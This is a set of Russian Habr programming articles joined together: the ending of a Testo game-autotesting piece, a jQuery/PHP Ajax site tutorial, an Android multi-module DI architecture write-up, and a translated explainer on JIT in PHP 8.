*Гена стоял со связанными руками перед преобразователем скелетов и думал, что же пошло не так. Как победа умудрилась выскользнуть из его рук? Если бы только он был немного умнее… Если бы он хоть немного слушал на лекциях своих преподавателей, которые не раз и не два рассказывали про этих проклятых грифонов… Было ли бы этого достаточно чтобы победить злого Сандро? Эх, чего уж теперь гадать, пора шагать в преобразователь.*
А где же хеппи энд?
-------------------
Действительно, не можем же мы завершить такую эпичную сагу на такой негативной ноте. Новый год же! Как мы увидели, Гена вполне себе уверенно шёл к успеху, пока у него неожиданно закончилась мана. Может быть, надо просто сделать Гену изначально несколько "умнее"? Так давайте! Откроем редактор карт и добавим Гене немного "знаний":
Ну а теперь я наконец то могу ответить на вопрос, почему же я в тестах копирую папку Maps не в тесте `install_vcmi`, а в тесте `launch_game`. Как только мы поменяли файл `Villaribo_and_Villabadjo_lose.h3m`, Testo сбросит кеш того теста, где этот файл задействован (т.е. `launch_game`). Потерявший кеш тест (и его потомки) запустится заново. Если бы я копировал Maps в тестах `install_vcmi`, то именно эти тесты потеряли бы кеш. А значит, пришлось бы заново прогонять установку vcmi и копирование других папок (Data, Mp3 и прочее).
Я просто построил дерево тестов таким образом, чтобы редактирование карты не запускало повторную установку vcmi.
А вот и хэппи энд подъехал! Оказывается, Гене всего лишь нужно было лучше слушать преподавателей в военном ВУЗе!
Заключение
----------
Не знаю как вы, а я прилично повеселился, делая эту статью и на полном серьёзе обучая нейросети обнаруживать крестьян, города, героев и звёздные оси.
Но в каждой шутке есть доля шутки, как говорится. Тестирование игр это всегда очень сложная и болезненная тема для разговоров, а про автотесты сетевых игр и вовсе говорить не приходится. В этой статье я хотел показать, что не всё так плохо, и что Testo вполне может справиться с такой задачей, пусть и при необходимости некоторых доработок.
Репозиторий со всеми необходимыми сценариями и артефактами (в том числе с **экспериментальной** сборкой Testo) можно найти вот тут:
<https://github.com/testo-lang/testo-articles/tree/master/HOMM3> | https://habr.com/ru/post/533768/ | null | ru | null |
# Опыт создания Ajax-приложения
#### В начале
В данной статье речь пойдет о написании Ajax-приложения. Если говорить проще — то, о написании сайта – работающего без перезагрузок. Быстро, легко, доступно. В этой статье не будет рассматриваться код серверной стороны, будут только примеры, для лучшего понимания.
Меня давно интриговала тема написания сайта, в котором несколько компонентов (например, flash плееры) не перезагружаются с каждым переходом по ссылкам, а продолжают себе напевать песенки. И вот однажды, набравшись смелости — я начал думать насчет структуры такого вот приложения. Что в итоге получилось — читайте ниже.
#### Начнемс
Для начала нам потребуется несколько js-плагинов – а именно:
* [Jquery](http://docs.jquery.com/Downloading_jQuery)
* [Jquery-tmpl](https://github.com/jquery/jquery-tmpl)
* [jquery-json](http://code.google.com/p/jquery-json/)
Первый, это знакомый ~~всем~~ ну может почти всем — js фреймворк. Второй файл — это шаблонизатор, на базе jquery, мы будем его использовать — т.к. он работает на стороне клиента, что нам и нужно. Так же потребуется небольшое дополнение к jquery, для конвертации js-объектов в json.
Для начала создадим папку, например jstemp — в этой папке будут находится шаблоны jquery-tmpl. Еще нужно создать хотя бы один шаблон, например — шаблон главной страницы. Создаем в папке jstemp подпапку main в которой будет файл page.html
В файле простой html код:
```
${Content.name}
${Content.info}
```
##### Суть работы
В тот момент, когда пользователь заходит на страницу, наше ajax приложение обращается к серверу, с текущей ссылкой, и параметрами, и ждет в ответ JSON. Полученный JSON мы парсим в js-объект и отправляем плагину jquery-tmpl, который расставляет данные из объекта по полочкам, и показывает нужный шаблон нашему пользователю. А так же, если пользователь решит, что текущая страница ему не нужна, и попробует перейти на другую — ajax-приложение тут же отловит его действие и сделает те же самые процедуры, только уже с новой ссылкой, по которой юзер хотел перейти, и вернет результат работы.
#### Реализация
Для начала напишем начальную страницу:
```
Пример
body { font: 11pt Arial, Helvetica, sans-serif; margin: 0; }
h1 { font-size: 36px; margin: 0; color: #fc6; }
h2 { margin-top: 0; }
#header { padding: 10px; }
#sidebar { float: left; border: 1px solid #eee; width: 20%; padding: 5px; margin: 10px 10px 20px 5px; }
#sidebar p { margin-left:20px; }
#content { margin: 10px 5px 20px 25%; padding: 5px; border: 1px solid #eee; }
#footer { background: #eee; padding: 5px; color: #fff; clear: left; }
.error { padding:10px; width:80%;background-color:#ff4f4f; }
Какой - нибудь хеадер.
======================
Ссылки
------
[Главная](#)
[О сайте](#page/about)
[Контакты](#page/contacts)
[Какая - то страница](#page/somepage)
[Авторизация](#user/login)
Какой - то контент
------------------
© 1
```
Отметим наличие div с id= «content\_wrap» — именно в него будут подгружаться загруженные шаблоны.
Далее напишем начальную загрузку контента.
```
var user = {};
/**
* Возвращает текущий hash без # в начале
**/
function hash() {
return document.location.hash.replace('#','');
}
function load(u) {
console.log('loading page '+ u +':');
$.ajax({
url: "/" + u,//я обращаюсь на страницу, которую мне нужно загрузить,
//т.к. на серверной стороне - все запросы идут к index.php,
//и там я могу найти тот контроллер, который мне нужен
type: "GET",
data: "action=pageLoad&url="+u+"", // action=pageLoad на серверной стороне - говорит мне, что нужно возвращать JSON
success: function(msg){//в этот момент, мы можем вернуть какие - то еще данные о юзере, из сервера, на текущий момент времени
var arr = $.parseJSON(msg);
console.log('success');
if (arr.my) {//в моем случае, я вернул в arr.my данные о пользователе
//обновляем данные о юзере
user = {
a: (arr.my.id)?true:false,
id:arr.my.id,
login: arr.my.login,
site_login: arr.my.site_login,
status: arr.my.status
}
}
document.location.hash = u;
render(arr, u);
console.log("load template");
}
});
}
function render(data, url) { //Грузит шаблон, параметр data - объект данных, передаваемых в шаблон; url - вида main/page , user/login
$("#content_wrap").show().html('');// обнуляем тот самый участок html-кода, в котором будет подгружена новая страница
$.get("jstemp/"+ url +".html", function(template) {//получаем html файл - шаблона
console.log("Template finded at jstemp/"+ url +".html");
$.tmpl(template, {
Content: data// в шаблоне tmpl все, переданные мною переменные будут хранится в массиве Content
}).appendTo('#content_wrap');//добавляем к #content_wrap
$("#content_wrap").prepend("");//позже поясню для чего нужен этот код.
});
}
$(function(){//функция, вызываемая после загрузки DOM
if (hash()) {//если есть хэш
var url = hash();// он и будет ссылкой, но без # в начале.
} else {
var url = 'main/page';// ставим какое - нибудь дефолтное значение
}
load(url);//загружаем страницу.
});
```
На данном этапе, если все нормально, то можно загрузить главную страницу. Для примера напишу совсем малюсенький серверный код:
```
php
if(isset($_GET['action'])&&$_GET['action']=='pageLoad'){
switch($_GET['url']) {
case 'page/contacts':
$arr = array('name'='Контакты', 'info'=>'Связаться с нами можно с помощью сарафанного радио, ответ последует таким же образом.');
break;
case 'page/about':
$arr = array('name'=>'О сайте', 'info'=>'Этот сайт написан не профессионалами за еду.');
break;
case 'page/somepage':
$arr = array('name'=>'Еще одна страница', 'info'=>'Тут тоже что - то есть');
break;
case 'main/page':
default:
$arr = array('name'=>'Главная страница', 'info'=>'Разного рода информация');
break;
}
echo json_encode($arr);
} else {
?>
Тут Html код, который описан выше.
php } ?
```
Теперь, при обращении к main/page — должно вывестись
> Главная страница
>
> Разного рода информация
>
>
Ура! 3/4 сделано. Теперь напишем простой скрипт, для отлова клики на ссылки.
```
/**
* Клик на ссылке
*/
$("a[href^='#']").unbind('click');//старое событие нужно убрать, иначе появляется много одинаковых событий на один клик.
$("a[href^='#']").click(function(e){//селектор - только ссылки, у которых параметр href начинается с символа #
var url = $("a:hover").attr('href').replace("#","");
if (page_url != url) {
if (url)
load(url);
else
load('main/page');
return false;
}
});
```
и поместим этот код в тот самый included.js
Назначение этого файла простое: При подгрузки html текста — скрипты, которые уже были на страницы, не хотят с ним работать, для этого приходит на помощь included.js.
А как же работа с формами, спросите вы? Да легко!
##### Работа с формами
Для примера создадим шаблон user/login.html
и поместим в него код:
```
{{if Content.error}}
${Content.error}
{{else}}
| | |
| --- | --- |
| Логин | |
| Пароль | |
| |
{{/if}}
```
А в тот же included.js следует добавить:
```
/**
* сабмит формы
*/
$('form').submit(function() {//при отправке формы
var form = $(this);
var method = form.attr('method'); //забираем method формы
var id = form.attr('id'); //и id формы
$.ajax({ //url: не нужен, т.е. мы отправляем запрос на текущую страницу.
type: method,
data: "ajax=1&"+form.serialize(), //отправляем серверу все данные формы в виде строки + параметр ajax - что должно указать, что возвращать нужно JSON
success: function(msg){
var arr = $.parseJSON(msg);
if (arr.message) $("#message_"+id).show().html(arr.message);//если есть message(например ошибка), тогда вернем его в тот скрытый див.
if (arr.go) { // если есть go - то должен быть совершен переход на другую страницу, в нашем случае - без перезагрузок страницы.
if (arr.go == '' || arr.go == '/') arr.go = 'main/page';
page.load(arr.go);//грузим другую страницу
}
}
});
return false;
});
```
Обновим серверный код, чтобы было понятно на примере, что происходит:
```
php
error_reporting(0);
session_start();
if(isset($_POST['username'])){//если отправили форму авторизации
if(!$_SESSION['user']){//если еще не авторизированы
$user = $_POST['username'];
if($user['login']!='test'){ //если логин юзера не test, выдаем message
echo json_encode(array('message'='Пользователя '.$user['login'].' не существует'));
} else {//в противном случае перенаправляем юзера на главную страницу
$_SESSION['user'] = $user['login']; //просто для примера.
echo json_encode(array('go'=>'/'));
}
} else {//выдаем error если пользователь уже авторизирован
echo json_encode(array('error'=>'Вы уже авторизированы.'));
}
} else if(isset($_GET['action'])&&$_GET['action']=='pageLoad'){
switch($_GET['url']) {
case 'page/contacts':
$arr = array('name'=>'Контакты', 'info'=>'Связаться с нами можно с помощью сарафанного радио, ответ последует таким же образом.');
break;
case 'page/about':
$arr = array('name'=>'О сайте', 'info'=>'Этот сайт написан не профессионалами за еду.');
break;
case 'page/somepage':
$arr = array('name'=>'Еще одна страница', 'info'=>'Тут тоже что - то есть');
break;
case 'main/page':
default:
$arr = array('name'=>'Главная страница', 'info'=>'Разного рода информация');
break;
}
echo json_encode($arr);
} else {
?>
тут полный html код
} ?
```
При POST запросе со страницы, мы проверяем авторизирован ли юзер, и если да — выводим ошибку, и убираем форму, в противном случае — проверяем логин пользователя, если не существует — выводим Message, иначе — отправляем юзера на главную страницу.
#### В заключении
В заключении хочу сказать, что данный способ не самый правильный, и тем более идеальный, но он заслуживает место быть. Надеюсь, тема статьи была интересна, и может быть, даже, кому — то окажется полезной сама статья.
Спасибо за внимание.
**Update:** ссылка на [сорцы](http://narod.ru/disk/26302408001/ajax-s.rar.html) | https://habr.com/ru/post/127376/ | null | ru | null |
# Властелин модулей. Продолжение истории
В 2018 году на одной из конференций я представил доклад «Властелин модулей». С тех пор утекло много воды, а многомодульность в нашем проекте приняла финальные очертания. В этой статье я расскажу о допущенных ранее ошибках, как выглядит работа с модулями сейчас и как проектировать сложные решения.
Данная статья является пересказом истории, которую мы с [@horseunnamed](https://habr.com/ru/users/horseunnamed/) рассказали [в нашем видео подкасте](https://www.youtube.com/watch?v=RgyOCge_twQ&t=1871s), если вы предпочитаете текстовый вариант, то вам сюда.
Для удобства и экономии времени приведу краткое содержание статьи:
* В двух словах о том, в чем проблема многомодульности
* Косяки старой реализации
+ Проблема 1. Управление жизненным циклом компонентов
+ Проблема 2. Оверинжиниринг
+ Проблема 3. Копипаста
+ Так в чем же был корень зла?
* Новый подход с минимальным количеством boilerplate
+ Встречайте — Feature Facade!
+ Пример взаимодействия модуля профиля и модуля выбора фото
+ Общие зависимости и модели
* Подводя итоги
+ Что же в конце концов мы получили?
+ Какие точки роста и что еще можно сделать?
+ Ничего не забыли?
+ Полезные ссылки
### В двух словах о том, в чем проблема многомодульности
В чем была соль старого доклада, и почему тема многомодульности до сих пор не закрыта?
Существуют три иерархии:
1. Иерархия фрагментов, которые видны на экране телефона;
2. Иерархия зависимостей;
3. Иерархия модулей, которая возникает при работе с многомодульностью.
В 2018 году мы безуспешно пробовали соединить их в одну, а потом изобрели довольно сложный подход с медиаторами и ScopeHolder-ами. Саурон пал, эльфы дружной вереницей потянулись на запад, а орки разбрелись по нашему коду.
### Косяки старой реализации
Для начала давайте освежим в памяти старую реализацию. В ее основе лежали три принципа:
1. Деление модулей на три слоя: application, feature-модули и core-модули;
2. Каждый feature-модуль не зависит от других feature-модулей и имеет свою анатомию:
1. Интерфейс Deps, описывающий зависимости фичи, которые ей нужны снаружи;
2. Интерфейс API, описывающий то, что фича может отдать наружу;
3. Внутренняя реализация фичи;
3. На уровне application-модулей есть слой медиаторов -- «волшебная сущность», которая осуществляет склейку между зависимостями одних фич и API других.
#### Проблема 1. Управление жизненным циклом компонентов
При реализации концепции мы выделили абстракцию Component, которая объединяла в себе Deps, API и внутреннюю реализацию фичи. Эта структура держалась в памяти за счет ComponentHolder-а, к которому и обращался медиатор. Усугубляло картину то, что Component Holder – это штука с жизненным циклом (куда же без него в Android?). При уничтожении процесса система убивала ComponentHolder, а при следующем запуске не восстанавливала его, как и всю статику, при этом любезно вернув стек фрагментов к последнему состоянию. Как итог, нам приходилось «воскрешать» все holder-ы вручную, накинув поверх них абстракцию ForceComponentInitializer.
#### Проблема 2. Оверинжиниринг
Другая сложность заключалась в большом количестве вспомогательных классов и абстракций. Чем глубже в иерархии располагался фрагмент, тем больше boilerplate кода нам приходилось писать. Для того, чтобы держать инстансы DI-скоупов в памяти, мы ввели специальную абстракцию ScopeHolder. Она по своей сути дублировала механизм хранения и инициализации scope-ов зависимостей Toothpick-а. Из-за того, что ScopeHolder-ы инициализировались и чистились вручную, приходилось прокидывать параметры открытия экранов по всей цепочке в иерархии от верхнего в нижний.
#### Проблема 3. Копипаста
Как итог, в фичах часть инфраструктурного кода копировалась, вместе с бездумным копированием приходили глупые ошибки, а с ними и краши.
К примеру, одной из частых и особо больных проблем было несоответствие между иерархиями фрагментов и DI-скоупов. Мы управляли закрытием / открытием ScopeHolder-ов вручную, и когда одному ScopeHolder-у соответствовали сразу же несколько фрагментов, становилось непонятно, lifecycle какого фрагмента должен определять жизненный цикл ScopeHolder-а.
Тут возникает желание спустить всех собак на то, что Toothpick - это runtime DI-фреймворк, и считать его рассадником крашей! Но нет, Toothpick-специфичных крашей на проде мы не ловили. Причиной крашей была именно кривая архитектура. Был бы на его месте Dagger 2, все разваливалось бы с тем же успехом!
#### Так в чем же был корень зла?
Сложность архитектурных задач можно разложить на два компонента:
* Естественная сложность задачи, на которую никак не можем повлиять, — устройство Android Framework с его жизненным циклом, сама специфика задачи, в рамках которой нам надо научиться передавать зависимости из одних модулей в другие, избегая их прямого подключения друг к другу.
* Добавочная сложность, которую разработчики сами себе создали в процессе решения задачи, — использование инструментов, из-за которых и появились новые проблемы (медиаторы, ComponentHolder-ы, ComponentKeeper-ы и другие).
### Новый подход с минимальным количеством boilerplate
Мы решили, что нужны дополнительные ограничения на структуру DI-скоупов, так как дополнительные ограничения упрощают контроль за системой. В результате разделили скоупы на два типа: структурные и присоединяемые.
**1. «Структурные» скоупы без жизненного цикла.**
Это скоупы, у которых нет четкого старта и конца жизни. Они описывают постоянные связи между интерфейсами и их реализациями на межмодульном уровне.
Еще одна особенность «структурных» скоупов – вся информация для их открытия известна на момент запуска приложения.
Структурные скоупы делятся на два подтипа:
* Первый существует в единственном экземпляре — это AppScope. В нем происходит склейка интерфейсов зависимостей фичей с их реализациями;
* Второй тип — корневой scope фичи, который связывает *API feature-модуля* с его реализацией.
**2. «Присоединяемые» скоупы.**
Это scope-ы, которые связаны с фрагментами при помощи фрагмент-плагинов - специальных делегатов жизненного цикла фрагментов, которые позволяют нам автоматически открывать и закрывать scope-ы на основании ЖЦ фрагмента.
Для таких scope-ов могут понадобиться аргументы, которые будут известны только в runtime-е. Эти аргументы передаются в скоупы исключительно из Bundle-ов фрагментов. Bundle - естественный механизм Android, который будет переживать смену конфигурации, следовательно, мы сможем восстановить scope-ы с помощью нужных аргументов.
Восстановление иерархии фрагментов осуществляется сверху вниз. Таким образом, можно будет восстановить всё DI-дерево с использованием исходных данных, сохранившихся в аргументах.
Используя эту идею, мы получили следующие правила для иерархии scope-ов:
1. Время жизни родительского скоупа включает в себя время жизни дочернего;
2. Структурный скоуп может быть открыт только от структурного;
3. Присоединяемый скоуп может быть открыт только от структурного или другого присоединяемого.
#### Встречайте — Feature Facade!
Мы избавились от холдеров, компонентов, медиаторов и сделали единую абстракцию на наши feature-модули, которую назвали FeatureFacade.
FeatureFacade - это удобная синтаксическая обёртка над деревом scope-ов, которая не хранит никакого состояния и служит только для построения нужной части дерева DI-scope-ов. Роль хранения и поддержки scope-ов в этом случае берёт на себя сам Toothpick.
FeatureFacade работает в двух направлениях: он дает доступ к внешним зависимостям фичи изнутри и открывает доступ к API фичи для внешнего взаимодействия с ней.
#### Пример взаимодействия модуля профиля и модуля выбора фото
Давайте рассмотрим типичное взаимодействие между фичами. В приложении есть профиль пользователя и фича выбора фотографии (которая может работать не только для профиля). Обе фичи находятся в отдельных модулях, между которыми нет прямой связи.
Мы хотим, чтобы при нажатии на аватарку в профиле запустился photo picker, через который пользователь сможет выбрать фотографию. После этого мы должны вернуть результат выбора на профиль.
В случае приложения hh.ru, профиль – это резюме пользователя. Во-первых, профилей может быть больше одного, а во-вторых, их можно открывать одновременно на нескольких вкладках приложения. Мы хотим, чтобы при выборе фотки, она возвращалась к нужному фрагменту с нужным результатом ID профиля.
Данный пример можно пощупать руками в [репозитории](https://github.com/hhru/hh-histories-android-multimodule-playground).
Для начала опишем интерфейс зависимостей, которые нужны фиче Profile. Нам требуются две вещи:
1. Возможность встроить в экран профиля PhotoPicker – для этого снаружи будем запрашивать его фрагмент. Не будем ссылаться на PhotoPickerFragment, сошлемся на общий тип Fragment;
2. Возможность реактивно слушать выбор фотографии на профиле и обновлять ее. Слушать мы можем только снаружи, соответственно, это тоже уходит в ProfileDeps.
```
interface ProfileDeps {
fun photoPickerFragment(profileId: String): Fragment
fun photoSelections(profileId: String): Observable
}
```
Наружу модуль профиля будет предоставлять фрагмент, зависящий от ID пользователя:
```
@InjectConstructor
class ProfileApi {
fun profileFragment(userProfile: UserProfile): Fragment =
ProfileFragment.newInstance(userProfile)
}
```
ProfileFacade (реализация FeatureFacade для этого кейса) – это класс, который позволяет получить доступ к зависимостям модуля и его API. Через него мы сможем передать список модулей, которые опишут binding для реализации API-модуля:
```
class ProfileFacade : FeatureFacade(
depsClass = ProfileDeps::class.java,
apiClass = ProfileApi::class.java,
featureScopeName = "ProfileFeature",
featureScopeModule = {
Module().apply {
bind().singleton().releasable()
}
}
)
```
При запуске фрагмента ProfileFragment мы сможем получить доступ к скоупу фичи через фиче-фасад. Это происходит автоматически через фрагмент-плагин, который откроет и закроет скоуп, когда нужно.
```
internal class ProfileFragment : Fragment(R.layout.fragment_profile) {
private val di = DiFragmentPlugin(
fragment = this,
parentScope = { ProfileFacade().featureScope },
scopeNameSuffix = { userProfile.id },
scopeModules = { arrayOf(ProfileScreenModule(userProfile)) }
)
private val viewModel by lazy { di.get() }
}
@InjectConstructor
internal class ProfileViewModel(
private val initialUserProfile: UserProfile,
private val deps: ProfileDeps,
disposable: CompositeDisposable
)
```
В модуле Photo Picker-а мы объявим структуру PhotoSelection, которая будет реактивным стримом возвращаться наружу. API фичи будет выглядеть следующим образом:
```
data class PhotoSelection(
val selectionId: String,
val photo: Photo
)
@InjectConstructor
class PhotoPickerApi {
private val photoSelectionRelay = PublishRelay.create()
fun photoPickerFragment(args: PhotoPickerArgs): Fragment = PhotoPickerFragment.newInstance(args)
fun photoSelections(): Observable = photoSelectionRelay.hide()
internal fun postPhotoSelection(photoSelection: PhotoSelection) = photoSelectionRelay.accept(photoSelection)
}
```
Уже знакомым способом объявляем FeatureFacade для фичи выбора фото:
```
class PhotoPickerFacade : FeatureFacade(
depsClass = PhotoPickerDeps::class.java,
apiClass = PhotoPickerApi::class.java,
featureScopeName = "PhotoPickerFeature",
featureScopeModule = {
Module().apply {
bind().singleton()
}
}
)
```
Теперь нам необходимо связать эти фичи воедино. Перейдем в application-модуль и реализуем интерфейс ProfileDeps. Мы можем напрямую обращаться к фасадам фич и использовать вызовы методов их API для реализации нужных зависимостей:
```
@InjectConstructor
internal class ProfileDepsImpl(
// для реализации зависимостей feature-модуля,
// может понадобиться API другого feature-модуля
private val photoPickerApi: PhotoPickerApi
) : ProfileDeps {
override fun photoPickerFragment(profileId: String): Fragment =
photoPickerApi.photoPickerFragment(PhotoPickerArgs((profileId)))
override fun photoSelections(profileId: String): Observable =
photoPickerApi.photoSelections()
.filter { it.selectionId == profileId }
.map { it.photo.url }
}
```
Нам осталось в AppScope описать биндинг интерфейса ProfileDeps к ProfileDepsImpl:
```
private fun initTp() {
// Используем rootScope Toothpick-а в качестве AppScope
// и устанавливаем туда зависимости для feature-модулей
Toothpick.openRootScope().installModules(FeatureDepsModule())
}
/**
* Здесь происходит описание связей для склейки feature-модулей
*/
internal class FeatureDepsModule : Module() {
init {
bind().toClass()
bind().toProviderInstance { PhotoPickerFacade().api }
}
}
```
#### Общие зависимости и модели
На этом месте у Вас, как внимательного читателя, возникают два закономерных вопроса:
* все ли зависимости передаются вот таким способом?
* все ли модели конвертируются в реализации Deps?
Нет и нет. Некоторые зависимости (типа аналитики или абстракций для работы с сетью) протягиваются неявно через дерево Toothpick. Что касается моделей — некоторые из них достаточно развесистые, и конвертация их при передаче между модулями превратилась бы в переливание воды из пустого в порожнее!
Если мы захотим пошарить модель PhotoInfo, которая содержится внутри Photo Picker-а, между двумя фичами, мы переложим ее в *core-модуль*, который подключим к обоим фичам. Таким образом мы дадим им знание об этом классе, которое фичи смогут использовать на уровне своих контрактов.
Таким образом, мы ввели core-модели приложения, которые описывают доменную область: резюме, вакансии, отклики и т.п. И есть временные модели, которые могут дублироваться в разных модулях. Application-модуль знает про эти модельки и может сконвертировать одну в другую.
### Подводя итоги
#### Что же в конце концов мы получили?
1. Мы сместили иерархию скоупов на уровень фич;
2. Все абстракции свели до одного FeatureFacade;
3. Отдельные сервис-локаторы для работы со скоупом мы заменили на Toothpick;
4. Сделали шаблонную генерацию заглушки feature-модуля: для Deps, API и коротенькую реализацию Feature Facade.
#### Какие точки роста, что еще можно сделать?
1. Научиться хорошо делать Sample Apps, которые позволяли бы при разработке иметь дело только с частью кодовой базы;
2. Попробовать вытащить инициализацию нашего AppScope-а и научить разворачиваться нужным способом в рамках других application;
3. Написать плагин, который будет сразу генерить Sample Apps для нужной фичи и автоматически ее подключать;
4. Попробовать отказаться от FeatureFacade в текущем виде. Возможно, сделаем две функции, чтобы не наследоваться каждый раз от базового класса.
Отмечу, что вышеперечисленные доработки уже косметические и, возможно, никогда в работу не пойдут.
#### Ничего не забыли?
**— А что, если использовать другой DI-фреймворк?**
Внутри feature-модулей наша идея связки фрагментов с DI-скоупами легко реализовалась бы и с Dagger 2.
На уровне межмодульного взаимодействия можно сделать то же самое, но тогда механизм управления жизненным циклом инстансов dagger-компонентов нужно реализовать самостоятельно. Toothpick же нам такое предоставляет в виде глобального синглтона. Подробнее о варианте реализации можно [посмотреть в докладе Миши](https://www.youtube.com/watch?v=ACotRWHhZEE&t=1s).
**— Тема модулей закрыта?**
Нет, мы еще расскажем, как разделяли модули и раскладывали их по репозиторию. Недостаточно придумать способ соединения модулей друг с другом, нужно и придумать, как следить за всей структурой модулей, чтобы не нарушалась корректность связей
**— Сколько модулей сейчас?**
260 штук.
#### Полезные ссылки
* [Доклад на Mobius, с которого все началось](https://youtu.be/7y3SurtFqL0) — если хотите посмотреть на то, как все было в 2018
* [Видео версия этого доклада](https://www.youtube.com/watch?v=RgyOCge_twQ&t=1871s) — если предпочитаете все же смотреть видео
* [Наш telegram канал](https://t.me/hh_tech_news) — в нем новости о наших статьях, видео и конференциях
* [Чат с разработчиками](https://t.me/hh_tech) — можно задать вопрос про модули и прочее нашим техническим специалистам
* [Сэмпл проект с примерами кода](https://github.com/hhru/hh-histories-android-multimodule-playground) — если хотите пощупать идею в IDE
* [YouTube канал hh\_tech](https://www.youtube.com/channel/UCWztYdpQS3v9Gjno8bBZcNA) — тут все о хэхэ и вообще охэхэнно | https://habr.com/ru/post/566450/ | null | ru | null |
# PHP GR8: повысит ли JIT производительность PHP 8
*PHP — один из основных языков разработки в Badoo. В наших дата-центрах тысячи процессорных ядер заняты выполнением миллионов строк кода на PHP. Мы внимательно следим за новинками и активно ищем пути улучшения производительности, так как на наших объёмах даже небольшая оптимизация приводит к существенной экономии ресурсов. Одна из главных новостей в области производительности PHP — появление JIT в восьмой версии языка. Это, безусловно, не могло остаться без нашего внимания, и мы перевели статью о том, что есть JIT, как он будет реализован в PHP, зачем его решили делать и что от него ждать.*
Если вы не вышли из пещеры или не прибыли из прошлого (в этом случае добро пожаловать), то уже знаете, что в PHP 8 будет JIT: на днях тихо-мирно завершилось голосование, и подавляющее большинство участников высказались за внедрение, так что всё решено.
Можно в порыве радости даже изобразить несколько безумных движений как на фото (это, к слову, называется «детройтский JIT»:
А теперь присядьте и прочтите эту развенчивающую мифы статью. Я хочу прояснить недопонимание, связанное с тем, что собой представляет JIT и чем он полезен, и рассказать о том, как он работает (но не слишком подробно, чтобы вы не заскучали).
Поскольку я не знаю, кто будет читать статью, пойду от простых вопросов к сложным. Если вы уже знаете ответ на вопрос в заголовке, можете смело пропускать соответствующую главу.
Что такое JIT?
==============
PHP реализован на базе виртуальной машины (мы называем её Zend VM). Язык компилирует исходный PHP-код в инструкции, которые понимает виртуальная машина (это называется стадией компиляции). Полученные на стадии компиляции инструкции виртуальной машины мы называем опкодами (opcodes). На стадии исполнения (runtime) Zend VM исполняет опкоды, выполняя тем самым требуемую работу.
Эта схема прекрасно работает. Кроме того, инструменты вроде APC (раньше) и OpCachе (сегодня) кешируют результаты выполнения стадии компиляции, так что эта стадия выполняется лишь в случае необходимости.
Если коротко, то JIT — это стратегия компиляции just in time (в нужный момент), при которой код сначала переводится в промежуточное представление, которое затем в ходе исполнения превращается в машинный код, зависящий от архитектуры.
В PHP это означает, что JIT будет рассматривать полученные на стадии компиляции инструкции для виртуальной машины как промежуточное представление и выдавать машинный код, который будет выполняться уже не Zend VM, а непосредственно процессором.
Для чего PHP нужен JIT?
=======================
Незадолго до появления PHP 7.0 основным направлением работы команды PHP стала производительность языка. Большинство основных изменений в PHP 7.0 содержались в патче PHPNG, который значительно улучшил то, как PHP использует память и процессор. С тех пор каждому из нас приходится поглядывать за производительностью языка.
После выхода PHP 7.0 улучшения производительности продолжились: оптимизирована хеш-таблица (основная структура данных в PHP), внедрены специализация определённых опкодов в Zend VM и специализация определённых последовательностей в компиляторе, постоянно улучшается Optimizer (компонент OpCache) и реализовано ещё множество других изменений.
Суровая правда заключается в том, что в результате всех этих оптимизаций мы быстро приближаемся к пределу возможностей улучшения производительности.
Обратите внимание: под «пределом возможностей улучшения» я имею в виду тот факт, что компромиссы, на которые придётся пойти ради дальнейших улучшений, больше не выглядят привлекательными. Когда речь идёт об оптимизации производительности, мы всегда говорим о компромиссах. Нередко ради производительности нам приходится жертвовать простотой. Каждому хотелось бы думать, что самый простой код является и самым быстрым, но в современном мире программирования на С это не так. Самым быстрым чаще всего оказывается код, который подготовлен к использованию преимуществ внутреннего устройства архитектуры или встроенных в платформу/компилятор конструкций. Простота сама по себе не гарантирует лучшей производительности.
Поэтому на данном этапе оптимальным способом выжать из PHP ещё больше производительности выглядит внедрение JIT.
JIT ускорит работу моего сайта?
===============================
По всей вероятности, незначительно.
Возможно, это не тот ответ, который вы ожидали. Дело в том, что в общем случае PHP-приложения ограничены по вводу-выводу (I/O bound), а JIT лучше всего работает с кодом, который ограничен по процессору (CPU bound).
Что означает «ограничен по вводу-выводу и по процессору»?
=========================================================
Для описания характеристик общей производительности какого-то кода или приложения мы используем термины «ограничен по вводу-выводу» и «ограничен по процессору».
Самое простое определение:
* ограниченный по вводу-выводу код будет работать значительно быстрее, если мы найдём способ улучшить (уменьшить, оптимизировать) выполняемые операции ввода-вывода;
* ограниченный по процессору код будет работать значительно быстрее, если мы найдём способ улучшить (уменьшить, оптимизировать) выполняемые процессором инструкции или волшебным образом увеличим тактовую частоту процессора.
Код и приложение могут быть ограничены по вводу-выводу, по процессору или по тому и другому.
В целом PHP-приложения склонны быть ограничены по вводу-выводу: основным их узким местом зачастую оказываются операции ввода-вывода — подключение, чтение и запись в базу данных, кеши, файлы, сокеты и т. д.
Как выглядит ограниченный по процессору PHP-код?
================================================
Возможно, некоторые PHP-программисты плохо знакомы с ограниченным по процессору кодом из-за самой природы большинства PHP-приложений: обычно они выполняют роль связующего звена с базой данных или с кешем, поднимают и выдают небольшие количества HTML/JSON/XML-ответов.
Вы можете посмотреть на свою кодовую базу и найти много кода, который не имеет ничего общего с вводом-выводом, кода, который вызывает функции, никак не связанные с вводом-выводом. И вас может смутить, что это не делает ваше приложение ограниченным по процессору, хотя в его коде больше строк, не работающих с вводом-выводом, чем работающих.
Дело в том, что PHP — один из самых быстрых интерпретируемых языков. Не существует заметной разницы между вызовом функции, не задействующей ввод-вывод, в Zend VM и в машинном коде. Конечно, какая-то разница есть, но и машинный код, и Zend VM используют соглашение о вызовах (calling convention), поэтому не имеет значения, вызываете вы `какую-то_функцию_уровня_С()` в опкодах или в машинном коде, — это не окажет заметного влияния на производительность всего приложения, которое совершает вызов.
*Примечание: если говорить упрощённо, то соглашение о вызовах — это последовательность инструкций, исполняемых **до** входа в другую функцию. В обоих случаях соглашение о вызовах передаёт аргументы в стек.*
Вы спросите: «А что насчёт циклов, хвостовых вызовов (tail calls) и прочего»? PHP достаточно сообразителен — и при включённом компоненте Optimizer из OpCache ваш код будет волшебным образом преобразован в более эффективную версию написанного вами.
Здесь нужно отметить, что JIT не изменит соглашения о вызовах Zend VM. Сделано так, потому что PHP должен уметь в любой момент переключаться между режимами JIT и VM (поэтому решили сохранить текущие соглашения). В результате любые вызовы, которые вы видите повсюду, с использованием JIT будут работать ненамного быстрее.
Если хотите увидеть, как выглядит ограниченный по процессору PHP-код, загляните сюда:<https://github.com/php/php-src/blob/master/Zend/bench.php>. Это крайний пример, но он показывает, что всё великолепие JIT раскрывается в математике.
